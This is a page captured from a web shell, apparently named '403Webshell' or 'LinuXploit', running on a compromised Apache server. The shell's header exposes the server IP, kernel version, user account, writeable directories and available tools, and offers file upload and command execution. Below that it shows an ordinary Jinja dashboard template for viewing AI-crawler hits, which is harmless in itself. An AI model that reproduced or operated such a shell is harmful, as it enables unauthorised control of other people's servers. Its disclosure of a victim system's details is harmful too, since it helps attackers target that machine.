403Webshell
Server IP : 138.197.107.151  /  Your IP : 216.73.217.7
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux BloxBy-Builder 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : wpbetasites_mrakzqskir ( 1022)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/bsd-crawler-parser/viewer/templates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/bsd-crawler-parser/viewer/templates/overview.html
{% extends "base.html" %}
{% from "_filters.html" import filter_bar with context %}
{% block title %}Dashboard{% endblock %}
{% block body %}

<div class="card">
  {{ filter_bar() }}
  <p class="muted" style="margin:12px 0 0; font-size:12px;">
    {% if days %}
      Showing {{ days|length }} day{{ '' if days|length == 1 else 's' }}
      ({{ days[0] }}{% if days|length > 1 %} to {{ days[-1] }}{% endif %}).
      {% if not include_search %}AI activity only &mdash; search engines hidden.{% endif %}
    {% else %}
      No data in that range. Data runs {{ dates[-1] }} to {{ dates[0] }}.
    {% endif %}
  </p>
  {# The whole app anchors on the newest day we hold, not the wall clock, so say
     so plainly -- otherwise a range ending days before today looks like a bug. #}
  {% if dates %}
    <p class="muted" style="margin:4px 0 0; font-size:12px;">
      Data current through {{ dates[0] }} &mdash; the nightly parse runs a day or
      so behind, so this is the latest complete day, not today.
    </p>
  {% endif %}
</div>

{% if days %}
{% if stranded %}
  {# Should be unreachable: categories.py refuses to start with a bot that does
     not resolve to a display group. If one ever does slip through, say so
     rather than let its hits go missing from the boxes. #}
  <div class="note" style="margin-bottom:16px;">
    <strong>These bots did not fall into any category box, so their hits are not
    counted above:</strong>
    {% for plat, row in stranded.items() %}
      {{ plat }} ({{ row.hits|commafy }} hits, group "{{ row.group }}"){{ "; " if not loop.last }}
    {% endfor %}
    &mdash; this is a bug, please report it.
  </div>
{% endif %}

<div class="card">
  <div class="totals">
    <div class="big sites">
      <div class="n">{{ sites_with_hits|commafy }}</div>
      <div class="l"><span class="of">/{{ sites_tracked|commafy }}</span> Sites
        <i class="info" data-tip="Sites these bots visited in this date range, out of every site we are capturing logs for. A site with a log file but no AI traffic counts in the total and shows as 0 below.">i</i>
      </div>
    </div>
    <div class="big hits">
      <div class="n">{{ totals.hits|commafy }}</div>
      <div class="l">Hits
        <i class="info" data-tip="Every page request from these bots in this date range. Each hit counts once, in exactly one category.">i</i>
      </div>
    </div>
    {# Four small boxes sit 2x2; adding Search engines makes it five, as 3+2. #}
    <div class="grid {{ 'five' if include_search }}">
      <div class="mini">
        <div class="n">{{ platform_rows|length|commafy }}</div>
        <div class="l">Bots
          <i class="info" data-tip="How many different crawlers showed up in this date range.">i</i>
        </div>
      </div>
      {% for g in all_groups %}
        {% if g != 'search' or include_search %}
        <div class="mini {{ g }}">
          <div class="n">{{ group_totals.get(g, 0)|commafy }}</div>
          <div class="l">{{ group_labels[g] }}
            <i class="info" data-tip="{{ group_info[g] }}">i</i>
          </div>
        </div>
        {% endif %}
      {% endfor %}
    </div>
  </div>
</div>

<div class="card">
  <h2>By AI platform</h2>
  <table>
    <thead><tr>
      <th>Bot</th><th>Group</th><th class="num">Hits</th><th class="num">Share</th>
      <th style="width:190px"></th><th></th>
    </tr></thead>
    <tbody>
    {% set top = platform_rows[0][1].hits if platform_rows else 1 %}
    {% for plat, row in platform_rows %}
      <tr>
        <td>
          <span class="rowline">
            <strong>{{ plat }}</strong>
            <i class="info" data-tip="{{ plat }} &mdash; {{ bot_info(plat) }}">i</i>
          </span>
        </td>
        <td><span class="tag {{ row.group }}">{{ group_labels[row.group] }}</span></td>
        <td class="num">{{ row.hits|commafy }}</td>
        <td class="num muted">{{ '%.1f'|format(row.hits / totals.hits * 100 if totals.hits else 0) }}%</td>
        <td><div class="bar {{ 'search' if row.group == 'search' }}"
                 style="width:{{ (row.hits / top * 100)|round(1) }}%"></div></td>
        <td><a href="{{ url_for('detail', **keep(platform=plat)) }}">View hits <span class="arrow">&#8599;</span></a></td>
      </tr>
    {% endfor %}
    </tbody>
  </table>
</div>

<div class="card">
  {# Every site is rendered once; filtering and paging happen in the browser.
     A few hundred rows is nothing to hold in the DOM, and doing it client-side
     is what makes the search instant as you type -- no server round-trip. #}
  <div class="tablebar">
    <h2>By site ({{ sites_with_hits }} of {{ sites_tracked }})</h2>
    <input type="search" id="siteSearch" placeholder="Filter sites&hellip;"
           autocomplete="off" aria-label="Filter sites">
    <span class="count" id="siteCount"></span>
  </div>

  <table>
    <thead><tr>
      <th>Site</th><th class="num">Hits</th><th class="num">Share</th>
      <th style="width:190px"></th><th></th>
    </tr></thead>
    <tbody id="siteBody">
    {# Rows are sorted by hits, so the first is the widest bar. `or 1` keeps the
       division alive when nothing in range has any hits. #}
    {% set stop = (site_rows[0].hits if site_rows else 1) or 1 %}
    {% for row in site_rows %}
      {# Both names are searchable: people look for a site by its domain, but a
         zero-hit site can only be named by its install. #}
      <tr data-site="{{ row.name|lower }} {{ row.install|lower }}"
          class="{{ 'zero' if not row.hits }}">
        <td>
          {% if row.hits %}
            <a href="{{ url_for('detail', **keep(site=row.install)) }}">{{ row.name }}</a>
          {% else %}
            <span class="muted">{{ row.name }}</span>
          {% endif %}
          {% if row.extra %}
            <span class="more" title="This install also serves {{ row.extra }} other domain{{ '' if row.extra == 1 else 's' }}; their hits are counted here.">+{{ row.extra }}</span>
          {% endif %}
        </td>
        <td class="num">{{ row.hits|commafy }}</td>
        <td class="num muted">{{ '%.1f'|format(row.hits / totals.hits * 100 if totals.hits else 0) }}%</td>
        <td><div class="bar" style="width:{{ (row.hits / stop * 100)|round(1) }}%"></div></td>
        <td>
          {% if row.hits %}
            <a href="{{ url_for('detail', **keep(site=row.install)) }}">View hits <span class="arrow">&#8599;</span></a>
          {% else %}
            <span class="muted" title="We are capturing this site's logs; no AI crawler hit it in this range.">No AI traffic</span>
          {% endif %}
        </td>
      </tr>
    {% endfor %}
      <tr id="siteEmpty" hidden><td colspan="5" class="empty">No sites match that filter.</td></tr>
    </tbody>
  </table>
  <div class="pager" id="sitePager"></div>
</div>

<script>
(function () {
  var PER_PAGE = 25;
  var body = document.getElementById('siteBody');
  if (!body) return;
  var rows = Array.prototype.slice.call(body.querySelectorAll('tr[data-site]'));
  var empty = document.getElementById('siteEmpty');
  var search = document.getElementById('siteSearch');
  var pager = document.getElementById('sitePager');
  var count = document.getElementById('siteCount');
  var page = 1;
  var matches = rows;   // rows arrive sorted by hits, highest first

  function button(label, target, opts) {
    var b = document.createElement('button');
    b.type = 'button';
    b.textContent = label;
    if (opts && opts.disabled) b.disabled = true;
    if (opts && opts.current) b.className = 'on';
    b.addEventListener('click', function () { page = target; render(); });
    return b;
  }

  function pageNumbers(pages) {
    // First, last, and a window around the current page; gaps become an ellipsis
    // so 300 sites do not print 13+ buttons in a row.
    var want = {1: 1, 2: 1};
    want[pages] = 1; want[pages - 1] = 1;
    for (var d = -1; d <= 1; d++) want[page + d] = 1;
    var out = [], prev = 0;
    Object.keys(want).map(Number).filter(function (n) { return n >= 1 && n <= pages; })
      .sort(function (a, b) { return a - b; })
      .forEach(function (n) {
        if (prev && n - prev > 1) out.push(null);   // ellipsis
        out.push(n); prev = n;
      });
    return out;
  }

  function render() {
    var pages = Math.max(1, Math.ceil(matches.length / PER_PAGE));
    if (page > pages) page = pages;
    if (page < 1) page = 1;

    rows.forEach(function (r) { r.hidden = true; });
    var start = (page - 1) * PER_PAGE;
    matches.slice(start, start + PER_PAGE).forEach(function (r) { r.hidden = false; });
    empty.hidden = matches.length !== 0;

    count.textContent = matches.length === rows.length
      ? rows.length + ' sites'
      : matches.length + ' of ' + rows.length + ' sites';

    pager.innerHTML = '';
    if (matches.length === 0) return;
    pager.appendChild(button('‹ Prev', page - 1, {disabled: page === 1}));
    pageNumbers(pages).forEach(function (n) {
      if (n === null) {
        var s = document.createElement('span');
        s.className = 'gap'; s.textContent = '…';
        pager.appendChild(s);
      } else {
        pager.appendChild(button(String(n), n, {current: n === page}));
      }
    });
    pager.appendChild(button('Next ›', page + 1, {disabled: page === pages}));
  }

  search.addEventListener('input', function () {
    var q = search.value.trim().toLowerCase();
    matches = q ? rows.filter(function (r) {
      return r.getAttribute('data-site').indexOf(q) !== -1;   // matches anywhere
    }) : rows;
    page = 1;   // a narrower list makes the old page number meaningless
    render();
  });

  render();
})();
</script>
{% endif %}
{% endblock %}

Youez - 2016 - github.com/yon3zu
LinuXploit